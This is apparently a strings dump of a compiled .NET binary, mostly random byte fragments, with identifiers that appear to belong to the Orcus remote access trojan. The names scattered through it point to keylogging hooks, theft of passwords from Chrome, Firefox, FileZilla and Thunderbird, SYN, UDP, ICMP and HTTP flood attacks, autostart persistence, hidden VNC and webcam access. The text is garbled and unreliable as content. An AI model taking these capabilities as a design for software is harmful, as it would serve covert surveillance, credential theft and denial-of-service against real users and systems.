bE6g
_u	(
<>9__12_0
<>9__12_1
U)Z%
t	57
=/O&
lVOlU
(<2Wc
HTTOP
LRJ
`~(X
_&kA
ru
!nq0
n4q	r
h,39
w8Xx
timeout
):%!Xr
0eK"
vutX
3y]x,
4,:%
p~+F
l7.C7
92)]mt
l4hD
T(ES
B
mIX
RVfy
UEy,N
L

$M	3g
@v9g
34vd
Sleep
j}%)
*W5t
UYRv|
3

1jJE
c
|
SVNZ<
&q5p
1Ptq
8u|
&	uN
LsY%
;1d?
DateTime
?}b
EnumDesktops
djn
0n/;
$;r~;
XYo0
Pmx(
dec_next_char
QqIN
XYo8
I?p.
left
fvTg
d{Qa~r
Pidgin
Nm#H
bYCsq
j>wxn]
VTZ>
XYo#
>Ot6
G|)D
System.Runtime.Serialization.Json
DM_PELSHEIGHT
Wow6464
yyE`
T5OG
ConsoleCommunication
cP1
<rPF
w!\Wv
g}sN
DesktopWindow
qq
"!
filetime
e2,M+
get_TwoLetterISOLanguageName
zA?
I?Ir
[11x
2_c0
ChangeWallpaperCommand
XAo<
&lht
St*
i|2v'
y.Ty
E~r
WriteToStream
Ff$]
d+Zt]v
get_RootDirectory
[}-)
XYof
{oB{
Pb\7&rp
~:?@
%
|@
TVLl
J4nSZ`
<GetExceptionStackTrace>b__0
J h`
]1bs
0>
xK_Ff
dN6&
MnR
Rasr
D|/F[m
_uninstallPaths
4DFy
?:^=
YY9s
{%9
yZF&
w*K^g}Nz
]g
CommandResult
BZFBy
<e\
get_Monitor
_]g7
LockBits
<RTE==x:
S]^~
ptScreenPos
6@12P
qIpkU@
e,[^z2
>qx{
cb
3
S Ma
FileTransferAccepted
Wl'm
]bBR
tGU
Q)P^J
S._O
ExitThread
Orcus.Shared.Commands.UserInteraction
b|vJ.
<Keys>k__BackingField
hi<M*
Mw-u1
Orcus.Shared.Commands.HVNC
HDP]
FoM|
path
zne1
omWn
0V5=#h
/yqa
uYg8
|*mE
L6LWLlLuL
tavV+
4]=U
HtWQ
OWnj
hl&
^7^~
*{_
;XB]Ekxiz;f.
ekT{
Ofb+7
ProcessStartInfo
SMTO_ERRORONEXIT
G1S}
c^xE
4N5
rA6\
su.2
L+/w
iM'=_
TpZs
C[/@
visible
set_StackTrace
$6)2
<key>5__1
3w(w
GetIconFromProcess
:%!
^ELj
HiveKeys
%~X
R}nt
i(V
JxB>
NN&t
B,<-
SynFlood
a.}9
T,9d
~F[<
X+->
vp2U
_reverseProxyClient_Connected
]pU
H	k*6N
h428
"rI$
$!
#
IsAddedToAutostart
6 ,9
IsDeadKey
PCr$
?9OAV6b#
HM>d
{yo
}|p6
Random
5Z
]M
@_'nvx
Consts
}FH
set_CanChangePriorityClass
Cs@8^;
]AIt
HZfT
Costura
IntToIp
Pl?'
wu|Y
p1P'
O	Bu
InterfaceTypeAttribute
<Target>k__BackingField
AM,W
hz
d
9>4b
*l}I
/^#^'.
!^7n(0
{R'>_>
1Ka-
COMPACTING
>*R(M
6Z{
q#mJ/V
3MwW\o'
ZrqXp
j0d=b
LNuF
hDYNz
_4h~
IoDd
Zu^
<<7b
9~[L
bg^
|Y&V
9$#X`
ex]9
jd?a
JoFgu
50p
OLjkf
V5^%
lg9-{Xn
UM X
i|p
UYnw-
Orcus.Shared.NetSerializer
d&[^r
WS_HSCROLL
ifML
xz,08
?8(x
rX'
get_BitsPerPixel
{C=M,
=4z&7
\Qen
+(ka
AZ?#(hU
get_Definition
_databaseConnection
3H2Y
$C4
?TVa
GetAncestorFlags
`,Lr
$3bRwO
7Y8h8
8GiC
M<W;
q]sG [l
h&Zt
SRCINVERT
m(]
ForEach
GetConstructor
get_PSize
tVS[
Zr(*E
~$wVM
CTLCOLOREDIT
_v?0}P
Q&Yw
Nwyt=
cWhq
9!N3
e,H5/
m/vQDx|D8
b,
u"f.~j
{r\7
dwOffset
Z0~G
uQP;
'W7c
9C}]
$$!
HP_HASHSIZE
r"+
<U6Ix
AssemblyTrademarkAttribute
ZO"j
|y%a
Eb,
e&KQ
FVZ
uyC<
f(	2
EnumDesktopWindowsProc
yE}K
sY
Y"
]bLTw
CPL_LAUNCH
A*iI
RSQTME
S*DM
nc?H
P4%G)P
^Ds;
=!:e
Nz%1
add_ExceptionsAvailable
R,SI+D
m_\d
n(9M
/4N>
xH@2+
^.JMt
D+$kG%kG%kG%kG%kG%kG%kG%kG%kG%kG%kG%kG%kG%kG%kG%kG$kG$k
h>Z<
4k+O
System.Management
7L#]
{r	l
StringSplitOptions
dc)tJ
B6Kx
mH0}
2!>g]
JDownloader
GetTcpConnections
-c#
Connected
c@E
;9guRdQ
y@?v7F
<}]
"
!d(
~?Ed+
2p&9
DoKeyPress
n+.*
I4H@
set_FormBorderStyle
-uuz
-A=Q
h?Xy
*!V
qJ
SYSKEYDOWN
}SY8/
~(VD
_u.'
gLo+
<6q`
8-W
IEnumerable
P8Ok9nO
gm=5
<mT(
z$l
rXEz
QA
v2Z3
EDBU
get_VerticalResolution
o.h<
IgnoreZOrder
\Ah|
pl!85M,6
9?Y#
{P/~
B,!Z
Uk?H
)+8=
=f#<
Thunderbird
CwzN
VideoMemoryTypeToString
Bbq_
026&
riLu$
F
`
Ku-b
<>c__DisplayClass5_1
KnUN[j
tp,1G
m=K
05L3
JrwB
EY\~
O<e68
IME_COMPOSITION
%rW8
#ma+
Ghvm
1Orcus.Shared.Commands.Registry.RegistryValueDWord
UriBuilder
z7N%
S[Dj
d267
2Q)S
YZv4
&+U]
Jk{Uh
.T(
s	?`
|)8@(
get_Name
;9j?
M\o
windowText
*-Y0
)f!C1
o+|.
UpdateCommand
EthernetAdapterData
VC94U
]>eA
DoesUrlMatchWithHash
|!5}~!
XSU
inStr
lastestWindowFromPoint
pr_F
pr_D
r*/|i
J|[B
3qa=
StartSynFlood
nNh#\
/(4l
P\zXY
$)ctJ
[iOO
&G<RWK
gy
_
]s/O
set_Passwords
TFH~
&BB8
No B
BWIg
get_EntrySalt
CHANGECREATIONDATE
2V"
$
0P
AP?gI
l3-H
pr_9
|F>+
vCr}+\
%}-
H3w	_
/VGZ
z)-?cj
)vbT
5b7%
UDP_TABLE_OWNER_PID
e~g,~
_receiveCounters
+bzM2
=5hb
+`J
rJ*
#bi$P
BlockUserInput
StringCollection
y|"yZ
*s9b
'aN=!|n
USER
=}qa@
w@zy
get_Headers
MBUTTONDBLCLK
i!d2
+r
pass
get_KeyCode
{@.b
Raq[B
.Whm
rd 3
$-
9
set_IsCsvData
w_Wu
R*r,
$k:yG
m3LMP
4.nmi
ZKAf5P
rj&
2$f=
: xMX
SRCCOPY
x`.
OpenReadonlySubKeySafe
~M0
)=Td
Q .v
y:OEf?_
F((
get_Values
Convert
IsSearching
E,uX
h"C*
?XU
MakeUnique
-!%D*NI
_standardInput
Y#;`j
5e,W
{l<S
\J6xY
2o)M
H[OR
=%U[
MouseActivate
EO5IGi=]x
_$[7
aab
Ev+U
n{
w
?[X
jp"B'
FlagsAttribute
naL
jvO@
J:gp/!
set_KeySize
pXX<
bf|I
dmReserved2
SoundOutDevice
UpdateFromUrlCommand
,4ef
&UK
#njiR
bbX?
op_Subtraction
mSd*)
dwmsEventTime
MN;H
1J>V
Nx(P
Bw%t
ZDuXM8
30Bz
get_Description
nzg"ozg
IEnumSTATURL
xlxx
"[
WH_CBT
uploadInfo
IfVL
P5`+[
yzCy
pSize
get_HasValue
Records
]Qe
N
e;Ct:P
SecretId
O7WK
}2
pRotateDegrees
defaultDeviceId
LogicalDrive
k:(
|4>?
(Csm,'e
+4'F
J@l 0a
~=
:Z2=
3;^%
,U_x\t
nzzf:
get_VolumeScalar
StaticPerformanceData
WindowChanged
Z/#R
_appPath
System.Net
I!\
URL_DONT_SIMPLIFY
z8p,4
S:|;
Ld_:
DROPFILES
\ba%
s
XH8
4r,&G19 ~<
[u1=
}[39N
}F\p
v,KT
i+8_%
UYb.i
get_DeviceName
qJ_@
ServiceStartMode
;B,`
[Q;
!8?VL
O*rV
KKi
NextValue
XMEL
)tci
Nm-d
&v7|
)];Q
t&.)
kernel32.dll
d
o
get_CustomName
UnD?
qoMp
66I9
Enumerator
NotifyIcon
Image
8Dw*
?sQ
FK/NIn0,
DK3S.
l`x?~
B~H-W
RestoreMouseButtons
e_)W
staticCommandResult
z(mC
(W*2{l
|Cc\Ax
{=z<~b
uCmd
'&dW
K!.x
9rdt!_
f
f]
Uy.:
7m,o
<&"
Lh;K
QNKu
L[j6
JiLh
B/r^n
i1J
Q3ID
jH2+
get_RunLevel
vClp0
get_EntryName
1,,Q
y)EZm
q_1;a
SendText
pHe.
7gE^.(S
CheckRunning
|\?b
ZtC;
(
e*f
PENWINLAST
[mz
i`9ck
Regex
2hf&P
NDb
Rrbc;
PlatformID
JsonUtil
$~_;N
[F<m
_Wt4
7F7^7n7
x3skp
Cn_i
k&?3
kt(x
jbC[
gs?l
5-E[
{`$(iWw
piconinfo
get_IsReady
8[oJ
90ITGM-+O
$3C374A40-BAE4-11CF-BF7D-00AA006946EE
v&YJ
_windows
e"MNc
4hic
_`(b
r}@
get_NewCommandType
0"S=
_sock
p/Uw
A#f:1
Tk#;
GetPath
"r9+,iq9s
MakeAdminCommand
wGSx%
MethodInvoker
a>{W
~k`tOV
remove_CommandLoaded
v uKG
_otherColor
Fst#
8:F
jo45
Rggn8wQ
MajJ
*o Z
y4w[(>.
n3?Q
Uq7k[
=e1:
pM;m
get_Application
m
eSS
!MHs
ResponseResultEventArgs
<IsClosed>k__BackingField
vJ#.
IcmpSockets
JC+5q
u[S
G73:
\n
X`dQ
W
{G
5<R
SafeHandleZeroOrMinusOneIsInvalid
J0jh
5q\k
Write
pR
1
pZ+j
hIcon
<>9__6_1
~d{_n
>A5)
SpeechVoice
System.Collections.Generic.IEnumerable<Orcus.Shared.Commands.AudioVolumeControl.AudioDevice>.GetEnumerator
Int64
YE	F_ub
AnchorStyles
hs)3
Nw7|g!5?C
PushRequests
&^[o
gjZac
=B
m
MainForm
T+G=
<FileTransferTempDirectory>k__BackingField
-e&eo
GK4I
}NnC
xHZTu^
get_VncMessage
\kxH\
NY)S 2
,vZ
%("p
Kf1;
imXu
InternetCommunication
MDISETMENU
=V
k<
[w|MAU
get_ValueKind
:q)ns
A4O[K
5{E]
ks/L
Xs_+
jT=+
^>`G
ExecuteCommand
BNj>
g?{\x
jV/o
}Z-w&@
AsymmetricAlgorithm
JM>^W
!}(f
N|pCL
M t^
t_6{*
2gZ`
PwwL{
iHFg?7
';Oo
set_ChangeCreationDate
Fv1T
T&:;7?
^]WT
Action`1
[*
y
dataPath
w;iR
.,-H
bBv
I#~7
Z,,^
System.Security.Principal
get_ProcessName
a51y
<PushRequests>b__0
UN%ouV
wIY;
GoC3s
SHELLDLL_DefViewParent
.{zq7
`D9V
<g1,
A!uzD
"
^h#qw
K;Pe
JW
get_AvailableFreeSpace
mObject
pZ}
Bke
$5KG
STAThreadAttribute
&H%
M>WZ
Graphics
:Ie
q/N;
~LWN
add_StringDown
System.Globalization
JyVLK
C&$
}XX]
`	X
f;k|
!Iy{
_X9
eventArgs
set_TryOtherAutostartMethodsIfChosenOneFails
X}m:
WH_CALLWNDPROC
zYQm
IsDE!
=&=}9
mW2}
ConvertToInteger
Oii&#
?z{SXK
<P^\CQ
6_|Pw
h~tp
u&@
[2Wv
\	r{
-fr%
[	4s
r,*
E28z
nyvQ
jM6S
687|^
System.Drawing.Icon
bB4m
Fo.m
ww~}6n
,8.n
vQ5{
C4NY
JA$D
]T+ u_
1\q}
qN	.
RemoveAt
GFBXM
`,16
Qy52
yMr0
get_Jpeg
[q
x
SystemDirectory
yJFn
(4{_
d^A?#&
zP%P
y)W}
CreateInstance
mnQrm
sTl{F
CKN1
+5<Dy
7i4b"
ItHX
_>5]J
ImageExtensions
(4{N
N6~`
MDITILE
=
2L
TVB
a"gJ
UdpFlood
jdR
=P}9
hpsoi
System.Collections
<3_p
MRX}
+/,X
q%/4NO	b3
;QP>`H
V@^?
(GEY
<>l%
ENTERIDLE
pkk1
Y,J#
Orcus.Commands.Passwords.Applications.FileZilla
SendInformation
remove_ExceptionsAvailable
8^ie
get_Actions
P_6't
|~EP
1(0A
gRfj
x@-SM
@xlm+
$uR5
1818q8	8
m{Yp
^{CESd
sM.j
>.{vu
,&u&E
dmTTOption
uzdC@
fm)|
tC&P
%2NjOd
set_Padding
,7RL
%riI
nIndex
c_51
5?gC6
peAl
_["Ma
IJTG
,c	I
set_EntrySalt
n*07o
get_SendLock
}=\
xCJ;H
C1$Z9
)<z+p
Decimal
zF_V'
0w/.q
!QVg
qB"#
IME_CHAR
NiyB
<y}
M
]aASH_
mw@<{
w
/>o
IET2
%`T
q%.
<Attach>b__0
LocalPort
oaP>a
^AAv%:~
EK6KO
WJBx=
}pnchM>
baseName
:S]Q
,Myz]s
J^Av
g *
<,r9
"2ga
~DnF
O2.-/
k4BPg
-CIs
39Qm
g2V2
i;et
SynFloodCommand
q4Y'm
[oT%
F|s2hk
p u.
vK\w
<>9__22_1
kV3l
Microsoft.CSharp
AssemblyDescriptionAttribute
get_Path
*
G}N
^Xby
t7JA7
R.s_\
h9Ph
{,+&
Activator
O/jY
qs~q
Xw30
s1=
A$Kt
H/4]
_translatedDescriptions
5&[z
ry4
atcfH
SetWindowLong
9gw)
$I8
IsAdministrator
_
I
"zs.
set_Anchor
CDH 7
,}Ic
DN<M.
ParameterModifier
Y%$
;y
>
6"'rV
\g/q{
Double
AJ ?
"efnS
iz
eqbb
?~p;8
n=(1
Qs
0[O
uEu`
NormalText
77ba
DI0c
]FiE:
H's1
e ;&
PK11_GetInternalKeySlot
uFlags
CRK
j
+%|%
<>9__2_0
}T{;s
>4i_
l^x6W
<>9__2_1
WM_RBUTTONUP
}
eT
L

6
;*/
PushFile
W]>
V;5g
get_BaseStream
]
7_
X&cIA<
} C^q%Ay7
Dd7*
S|nc
WINDOWPOSCHANGED
GetSecurityEventLog
2#
H7st
-lu@Xi
PaddingMode
HL?C
get_AudioData
%MP
%	oG
/
kl^
IsOnParallelsDesktop
Gzybe
_D)}
VFwmp
inverse
.2"%Q
MOVING
MENUSELECT
s3:
r31
MyGetKeyboardState
/aho
rt$
"n_
~,&[
90;<{o
^?7z
get_Handles
1S3HM
Kb8k
IX.d{N>A
&;KK
RBUTTONUP
PivJs
TaKR
Socket
filePath
y|\G
MyG_
K!B
x6Bqb
(nvU
#&3@X
cZ<;2'
0(z`Uf9
IEAutoComplteSecretHeader
qL$K
outItemOpt
#ffffff
ftExpires
g_#b8
CHANGECBCHAIN
LeTh,#
gBUf\U
SetWindowPosFlags
get_Device
d^'y
!&=U\
+a$9
P|{*
9)v
rPK8
=-Zl
%	o*
J[|"
_cpuPerformanceCounter
get_IsCsvData
*wJ4g[
{I=5
)=|{Y
DSTINVERT
YY}7
YY}6
CG[-6w
#AG
:[UC
get_DesktopHandle
port
,s[.f
TextReader
set_Guid
k+}
#%|$
G,!v
set_Platform
ltp
PG	p
ImageUtilities
K0_3
3[,O
Orcus.Service.Properties
t<{b
System.Core
c}JEN
H03C_
})^5
]BEj
nD)
i36]C
B1_.
+)
T
Orcus.Commands.Passwords.Applications.Chrome
_SQy
EkI>|
u
un;
,#]p
WG~!
>mAgI
D/?V
remove_SendMessage
H>sQP
BYz$
x6:2
xZqvtAr
AssemblyName
qD:b
r}I
V\^.
Pvq
s2_y
.D!T
ToBitmap
z*lp;(8t-
C1qB*
fEVk
|q6W
_sqlDataTypeSize
}X[x
+)
m
1a%\
preO
A?Old\
5C/?
requestedAssemblyName
-:CWj
1VY%c
e\abO
4+!^
]R%-
O*oM5.1
*^=@6
!wGR
IAtd]U
0=rjD
_commandSelector
Microsoft
#$z0
y![
^"	P^_|
Jmr]w
AsynchronousWindowPosition
}PRm
r8Io]
Enum
_cursorLock
Fz	n
Loadables
H[(P
K]o:y
7ww2
0_0l0{0
set_Application
CryptReleaseContext
set_ApplicationName
YP3%
Opera
=Pa~H
DESKTOP_WRITEOBJECTS
~fr~:>
>G}W
JY;.I
(u-b
dzV+
k9w*.
zf*Z<X
'1}k:
}n+~
p
|
hK214
Y+g
il4l
EXy?)
ProtocolType
~Gm-
A~(u
24{~
DZLu7
M?R9
[gg}
vBg;(
^n-n
Cancel
7lWJ
!/o0
UZ4|C
xjTp
TG;Y
dEQ~
;!;
stream
!E#T7
@0Wv(o
o#)&
248\
$v6b
2'3wJx
}	[BH
AX
8h
SetWinEventHook
GETTEXT
l|8/
['dgM
StringExtensions
<Z`Z
eEd
ReverseProxyConnectedEventArgs
set_VideoMemoryType
-@U?^
/;[F
)1#W#%
u5}$3
)Af.
CNz>
.)rm
c@bTDcF
e<2Y
2AmA
p*rEI
V'
SM
\GWQ
Id;pa
DnX0kNYp
bG\>
5Ug^R
@!aQ!`
"k5`zak
]b~k
tD;%`
>OaS
2A z,
loadCerts
_uploadInfo
%;7>
GCHandle
j1|
s66U
jhZb.W
IsOdd
ea.{
ScanCode
i=^\
CompareFileTime
j1O
ComponentResourceManager
{/D-
%`G4o
xx:w
System.ServiceModel.Web
"lN
pg^G
BRdY
<>9__1_3
<>9__1_2
<>9__1_1
<>9__1_0
<>9__1_6
<>9__1_5
<>9__1_4
HWND_TOP
m3%e
nXDest
0:c?
RcSrw
szDisplayName
Z;CD
r^/?^
@c
wfj
LNylw
YJ$5
HttpFloodPackage
c$Fz
Orcus.Commands.Webcam
;Ia8W
-Q[J&
PerformLayout
_reverseProxyClient_Disconnected
D9,5lZ
y1r!-v
{@O6
N27P
FormBorderStyle
k{3Vm"
ti0:
Equals
_gVZ
X=1y
DeferErase
BNq*
<VCode>k__BackingField
MPHC
a/S
OP{<I
5S
JS
@s'8
G@.Tw
qN~h0
+3
set_SelectionLength
set_MaxRefreshRate
L0&i4J
<dataList>5__1
pOrX
,(+
J7Xy
dmDisplayOrientation
\LYl
B
z
28 E)
+'
Environment
F}r (_
name
Sg`
;\2ti
OxF52
JgQi~
x2NGm
b
xOV
Threads
+
set_ProcessTime
_icmpSockets
\g
M
5B}C
GCJ
JDK
/#d
]C9J
qqqK*
:f9a
2Orcus.Shared.Commands.Registry.RegistryValueString
j;/-
c%^&
4<1:
s]^"
2XDUh
aeMK
W@k:
oP_
-QQVo$
l4\O
JN#a
\Sr)[4
set_Workgroup
Zt"G
?^	M
>t	G
,G=_
_sent
p Z5
9n$A
PluginsDirectory
y(:_a
QUERYNEWPALETTE
{
Zt
~-CT
rQ8
=yd*
J+[i
wh+KJ^l
WritePlugin
DwfL
t}/p
#`sm
(/]Y$
mLhL
`Oj$
SendToTargetServer
.pV
^O~]
uB8oLqu
D;`o
allProcesses
8~v$
Ve{E
JO?i0
r_|_
5|
9G
b`Mc#
p}\d
(4fUN
SendSyn
$L$*I
{<@G
7zD8
}GhU
PDW_
jSnGJ
>MOo
Wtv*
P'5V
get_CommandResult
ConstructorInfo
o2
H^[cA
SecretId2
SecretId3
SecretId4
SecretId5
SecretId6
aOFM
Start
xbIU
K7HI/.
Socks5ProxyClient
V,xK
(VTV{
F|WO
RotateFlip
DESKTOP_SWITCHDESKTOP
get_ServerConnection
)!!mTZ6
93"|
g[e#
VHt;!
!^jJ>
H04seee
CmdProcess_OutputDataReceived
xP
R
|7xtx
.v
System.Collections.IEnumerable.GetEnumerator
B4!
SendTo
{
6+
Data
EnumUrls
get_Expires
=5,T
CancellationTokenSource
Tr]
p,|EH^
Jtd9f
IClientStartup
"83ByHw
KeyContainerName
?aoKo
~t1[
Awq
c:C9
]Ig
ol
6abz
8l^qI
PzFW
4TPq
System.IDisposable.Dispose
oY
a$
~P~a
Lid+
YyYN
A>'7d	Q|
Lenght
3qh>C
StartUdpFlood
sort
Cq O
g[e}
nc3i
SendIcmp
set_GenerateExecutable
<>3__defaultDeviceId
OperationsLock
oG
6r8f@
'N w
v3CU
,VX|l*
_sendCounters
!This program cannot be run in DOS mode.

$
Hg7V
get_Orcus_Service
BWWh
!F}#
#nQZ
8x~;
chXk}
Mvy
get_AddressPreferredLifetime
{*Cl
NlW*
TY(f~
gL6p
CsvRecords
OfType
x_5R
:VAN
<IsEnabled>k__BackingField
MDm(lA
l~@b
V"dm%We
i Gh
EthernetAdapter
j8ea{
==D}
Orcus.Commands.UserInteraction
writer
`-yb
H/lg1
q_p{
kA~8G
dwActiveProcessorMask
^)=*Iv
Zbg$*
OI<
set_AvailableResolutions
5UK)-B]
Screen
owningPid
GlobalSalt
!rYj
|{_@
|eM}).0
|>WZ R4_
9g]v
sUr:7
w5al
WO[V
8nht
}B \
SocketFlags
yJI/S
g2i
a	h!
HTMENU
3E\s
httpData
_E}(
`hAfhAfhAfhAfhAfhAfhAfh
jf<YX5
lk2b%
MIB_UDPTABLE_OWNER_PID
!1e8
~fKMs
SW_HIDE
"Eb6
Jso$
set_HideFile
CrAF
srZ~^~A
FC0
<L*4F
dV%"e'9
HOTKEY
vNxv
<f*?
h9Vg
KeyboardHookProc
localPort1
set_Ipv6Address
Qx}3
get_ExceptionFile
lWJl
Bn6F
Q9h|u
e
$ul2
8?w~
<,=6
CJs7
R>
_
StartIcmpFlood
wk+>E
akw=
Byte
Left
?n.4V
cah[G*M
containerName
YJz)
#
6
MoveNext
o,5;d
$)xl
x\{?
lParam
6Rl'
Socks4aProxyClient
F#)
7eT!
Fc]s
QKrmr<
x6@j
RF`=`
4L\<
A~3b
n6y}.W
<SendInformation>b__0_0
<SendInformation>b__0_1
mD;1;B
<SendInformation>b__0_3
0zbx
wLRM
Jmp@oo
GetUrlHashString
wHg&)
zhX#
H-c
ADDH
psfi
`|Xb
q
y9
MOUSEWHEEL
p#n'f#
M*>H
k|<p~
%a<S<
DB)F
z&?|
?9F
9I
/	/
flc=
,"\XS:
sW<Ra
4Tef
WebException
}%{g
v',7
~-t7
e&gC}
Cu
]/
KC
d
G>
9\I
T=_V
UninstallButton
pkHG
set_ManufactureId
t]I5
06^1
rv'
set_AudioEndpointType
oE=HS
r~!
t"W]
d*\$
04-XL/
rkr$t0e
}W`h
MI?I
Iyj
V{Ms
ptEx
e/nX
add_AssemblyResolve
vID^:
[qTW
hKRt
Pywo'
IList
G
[(
(dd:
+Hmq
=q<W
Vs:c
&uS?8
User32.dll
4wFx]
HashParameters
dmFields
YHw
GW_HWNDNEXT
b/y
bI?`
FW40
=*M?
TrimStart
Orcus.Shared.Commands.HostsFile
ChromiumBase
SystemInformation
get_Item
configDir
}w&5
TmO4
%I5Y
Location
3Qe>
HOh
8bnq+t
CHARTOITEM
GEwC
dmSpecVersion
X=*
k?~P
JavaScriptSerializer
uSzed
o)5kj$Ov
h@:h3@
y
u,I4(
mmDeviceCollection
~&W)B
F 64FA
y<yqa
x+7gqY
m	
Mj0
JT*)
y#3@?6
|s2D
E\Uw
,r
Z#JW
d?DH
QP1Nj
Gv@[L?
/O-z6
J^za
}m:\
FindWindowEx
C:4b
z.=M#
G
 u
d~nvnaZ
!Qm+@
+$Nk
NSS_InitPtr
4:,a9
$?/BT
N+j,
LOLUQG
<StaticCommands>k__BackingField
IpU"
^T
zV
-wSS
&X|
T3,'
Pi^G
v
p>
s4%c
J;tj
get_IsCancellationRequested
\N,
4gh4	v
x6`\	u
(Q
P%G
p?3'
.65T
#FMz
*sHr
Open
GetHdc
M%5#
<TF
_currentHvncDesktop
X7fT
Om;<
gKC%
F-W1
9-s+
[x
nZvX
Q&!;6
SortFileTimeAscendingHelper
'u}}X
d<a0(p
GW_HWNDFIRST
G$;,A
a)&73W
Format
_^+
T2
WINEVENT_OUTOFCONTEXT
<iOa
WH_MOUSE_LL
jvl(
UnhandledExceptionMode
,`$)
s%;_
I{$?
2PD}
x
ObD
pT8&
N'Y>
<VncMessage>k__BackingField
_@Ft
IZb!
StringDownEventArgs
mR=J
enumAudioEndpoint
x`H>
u<?
WindowsInput
iXo.
Z~tL1
<Exists>b__0
e
KT
2gWBv
~Y[sq
K[nX
LinqExtensions
<>m__Finally3
o?Zq*
)Y^=X
<),Hol
<>m__Finally4
j
J15
xB}BC
KK,q
0eK"
YSM4[
B~8D
6	sY\
components
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
nh19
.:R
^]	y8
[5dv
YSY
>fBy
*Ow6
<	9j
Js8#Z
La34
>t.8k!J
?;xr
x|,=
[a[/
ZpsT
|\k
~633u
X_*\wY
r<
34vy-
dQ?
ILC_COLORDDB
JGU=)
h*PkR
p=\K
BH7
remotePort1
uYiQ
&=F-
Yq_>
managementObject
A2+A
Minute
<b1
o
(sV
S`wY
p*rGH
remotePort4
Group
set_AutoSize
1+i 4a
$ak*
WebClient
/B8z
AnVu
L5`y
A&hCA
2/=GB
36%K
vkcode
|H)A
eB8l
MDIGETACTIVE
%eK,
stFw+y{]
-.*l
color
.]<p
a#d
KCn?
UUID
*;G;
BitString
3)#`
m>n,
{i9aa
l-
<>1__state
;9HN
EnumerateDevices
8rzi
si
9t
at]
Mj[q
CcJW"
dH{F
SendProcesses
4~[8
$ZV
get_KeySize
o%byx
S#_b
table
_host
b0(
ServerPackage
p#p3p;
})"L
~\X[
Fz5d.
Rfa"m
1Mqa
a
>,
add_OutputDataReceived
set_MaximizeBox
Wk|W
ReadByte
"?V
uoT~f
"^5%
G+)E
Bo
:q
lpBuffer
7O_.
NCXBUTTONDOWN
IYef
wmr>
E2_]
^>||
;,&wp @W
L,P&
&UQf
2KF-_D
CodeDomProvider
\_6R
get_RegistryHive
w:jo
)[F`
VL~o
:xM
d %d
]"6e
|Uq)
SendServerPackage
_stopwatch
Fhy!
*"/"?b6
-eOD
M8At
v5Ae4IN
(O`z=
AllocHGlobal
n;#}
*T-R
<6wg
(c1L
iI9;
CLy,
Orcus.Service.Core
4FN?
97 d
qr	?M
^75k
EnumDisplaySettings
<S|[
4ER
~J8z
<AvailablePlugins>k__BackingField
/g?g
RxG
BitmapData
9_)v$
CSCore.Win32
2RT:B
V]uh
.sgu
_filePushRequests
[]8I
XzX4
J6tP3P
&$itoM
$A=K
MozillaPBE
`aJ;
Cx?&
R1gc
FRzxo
\X;ra
|6a
MOUSEFIRST
}6/t
Z
	fB
C$<o'
hkResult
E@	)
U%'<
Compute
FileNotFoundException
O\e.
X$5ib
y.qt
TASKSCHREQUESTHIGHESTPRIVILEGES
h;h
,]a4
'\
,=
+-:(
+'r1A
R\K%
get_Keys
<Module>
\?A
c^c= e
UWkZ
IndexOf
WH_MOUSE
:}gs
set_AvailableFreeSpace
Pm"c
Twq:
9;bC
A
Z&
7Lo
4a'A
OTM
27N	F
HSHELL_WINDOWREPLACED
C|1&z
4#6X
V=,"
/-O
gH
*M&1
S9m
MK_LBUTTON
StringUp
Ho
&)U'B^
PQI,
ForceClose
.VT]
HD(k
,Jb^SX
;P;
]MWF=
#GlV
8,xy
wgh,
?O\y
!:sH
WE;
iphlpapi.dll
IsPrintableKey
set_RenderedWindowHandle
'|:`
gdRH)
3KHc
7ZJ
MD5CryptoServiceProvider
9E;b
"dzgJ
v6'm
PzD3
get_SystemDirectory
rS?
0at0
bv&<S>
w+8w
qK0j
<GetOperatingSystemInformation>b__2
2 ,b
zI]r
i;p@
Y%udW
:l&--
set_Interval
|V
!
.NE=
z]Qg
BerkeleyDb
8#X2h
Orcus.Commands.AudioVolumeControl
!R*GJ'I
MulticastDelegate
MRTJ
_?oo
3L)
j.wB
Zs\G
Oa<z
GetExtendedUdpTable
;O>q
TaskRunLevel
[JU3
&E4J
Ix~t>A
Yz,:
eventType
B`Q+T
get_Uri
AutoScaleMode
6M"F
`W$T
Nm}
F
wc	C
get_LastUpdated
gn%qO
WxK*
q5~#
M(N?NVN
MBUTTONDOWN
BbO
z
ww
e}k<
6OD*
12TH
nI,sz
SYSTEM_INFO
MainRichTextBox
u$y3
ZY>=
ZYTSV
q[p;8
3yk8y
IDatabaseConnection
RegistryValueKind
5h#\
`ElU.V
.o-}
o6"A%`
f50(
GoG=!
DWMWINDOWMAXIMIZEDCHANGE
)/L95
N;@Q
.r-/(
k&?
B1m
CreateDesktopInformation
m'%os
P_=2z
|r>Uj7,siX
0G
8G/
CallNextHookEx
QV8"
9}
M
ShowMessage
%
.(ps
6=:],
`Zlj
*V,9/e#
Binding
TUca
dJJtl
+$ig
FH{H
H`,NZ
=/wN
dmDitherType
lisb
set_MaxBufferSize
Q0Ri
zO4~
?+6X
*-_4
MC"rf
cOb\E
A6NV7K
}GR
FileTransferCompleted
-I:v
1nNIcG
B?f,
p*<b
AsO
Niyv
K !
FnT2
+OtvV
)\[H[
tr4I
Jsy#
g'-K
qx9
uZ	7
n6OW
9=71k
<Passwordcheck>k__BackingField
[x~'
)l1v
(Q :
z(zL
)l1k
Wt;<=
!s5>
gF:[
oTo{
)
='n*
VCp
j\mo
idThread
><{;
h)Ox
xj!
7<	kpyR(mh
E!AIw
8kZp
8Awn
k&?~
ka!"7
;I=B
<LoadPlugins>b__22_1
hWxO
l83_
%7JU
set_RegistryHive
DESTROY
za,S/
Tlp"CC0H
ZtD):
>1_^
M#U-
9"u-
Re4ZhJg
#Lxg
!<!Z
y+1<
)1B|
&!Yo
JFR:
set_AvailableMemory
-|g1
oS
nk6e2
StaticCommands
Y\VB
bmJ,<
n4hhn[
Style
.~)Oq
FileZilla
/acEz'O`
`i5"
#5H
c3z;{
g?!J-
System.ServiceProcess
op_Equality
leJ D
_activeWindowHook
b
_M
4Qgc;
us q
get_WorkingArea
94
`
72?
N
ReflectionTypeLoadException
m8;p
'88~
qqXW
Pt*\
|	m&
LBUTTONDBLCLK
lmN(
=mc{
KDolx
YHn
9	y
P"$
iRZ|
>iV6X?L
.Nj?
0jK-4
INPUTLANGCHANGEREQUEST
hHash
NI2D
w
5
dwParam
ZYboW~a
&aH3
get_PrivateMemorySize64
N!Q:g
6OwF\
d)Q`}a
1~7$HQ_
